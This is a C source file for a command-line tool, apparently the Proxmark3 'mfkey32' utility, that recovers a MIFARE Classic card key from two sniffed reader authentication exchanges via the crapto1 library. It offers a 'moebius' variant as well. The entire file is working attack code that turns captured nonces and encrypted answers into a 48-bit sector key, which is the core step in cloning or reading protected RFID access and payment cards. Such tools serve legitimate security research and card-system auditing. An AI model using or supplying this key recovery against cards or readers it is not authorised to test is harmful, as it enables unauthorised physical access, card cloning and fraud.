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1 #include <inttypes.h>
2 #include <stdbool.h>
3 #include <stdio.h>
4 #include <stdlib.h>
5 #include "crapto1/crapto1.h"
6 #include "mifare/mfkey.h"
7 #include "util_posix.h"
8
9
10 // 32 bit recover key from 2 nonces
11 int main (int argc, char *argv[]) {
12
13 nonces_t data = {0};
14 uint32_t ks2; // keystream used to encrypt reader response
15 uint64_t key; // recovered key
16
17 printf("MIFARE Classic key recovery - based on 32 bits of keystream\n");
18 printf("Recover key from two 32-bit reader authentication answers only!\n\n");
19
20 if (argc != 7 && argc != 8) {
21 printf(" syntax: %s <uid> <nt0> <{nr_0}> <{ar_0}> [<nt1>] <{nr_1}> <{ar_1}>\n", argv[0]);
22 printf(" (you may omit nt1 if it is equal to nt0)\n\n");
23 return 1;
24 }
25
26 bool moebius_attack = (argc == 8);
27
28 sscanf(argv[1],"%x",&data.cuid);
29 sscanf(argv[2],"%x",&data.nonce);
30 data.nonce2 = data.nonce;
31 sscanf(argv[3],"%x",&data.nr);
32 sscanf(argv[4],"%x",&data.ar);
33 if (moebius_attack) {
34 sscanf(argv[5],"%x",&data.nonce2);
35 sscanf(argv[6],"%x",&data.nr2);
36 sscanf(argv[7],"%x",&data.ar2);
37 } else {
38 sscanf(argv[5],"%x",&data.nr2);
39 sscanf(argv[6],"%x",&data.ar2);
40 }
41
42 printf("Recovering key for:\n");
43 printf(" uid: %08x\n",data.cuid);
44 printf(" nt0: %08x\n",data.nonce);
45 printf(" {nr_0}: %08x\n",data.nr);
46 printf(" {ar_0}: %08x\n",data.ar);
47 printf(" nt1: %08x\n",data.nonce2);
48 printf(" {nr_1}: %08x\n",data.nr2);
49 printf(" {ar_1}: %08x\n",data.ar2);
50
51 uint64_t start_time = msclock();
52
53 // Generate lfsr succesors of the tag challenge
54 printf("\nLFSR succesors of the tag challenge:\n");
55 printf(" nt': %08x\n",prng_successor(data.nonce, 64));
56 printf(" nt'': %08x\n",prng_successor(data.nonce, 96));
57
58 // Extract the keystream from the messages
59 printf("\nKeystream used to generate {ar} and {at}:\n");
60 ks2 = data.ar ^ prng_successor(data.nonce, 64);
61 printf(" ks2: %08x\n",ks2);
62
63 bool success;
64 if (moebius_attack) {
65 success = mfkey32_moebius(data, &key);
66 } else {
67 success = mfkey32(data, &key);
68 }
69
70 if (success) {
71 printf("Recovered key: %012" PRIx64 "\n", key);
72 } else {
73 printf("Couldn't recover key.\n");
74 }
75
76 printf("Time spent: %1.2f seconds\n", (float)(msclock() - start_time)/1000.0);
77 }
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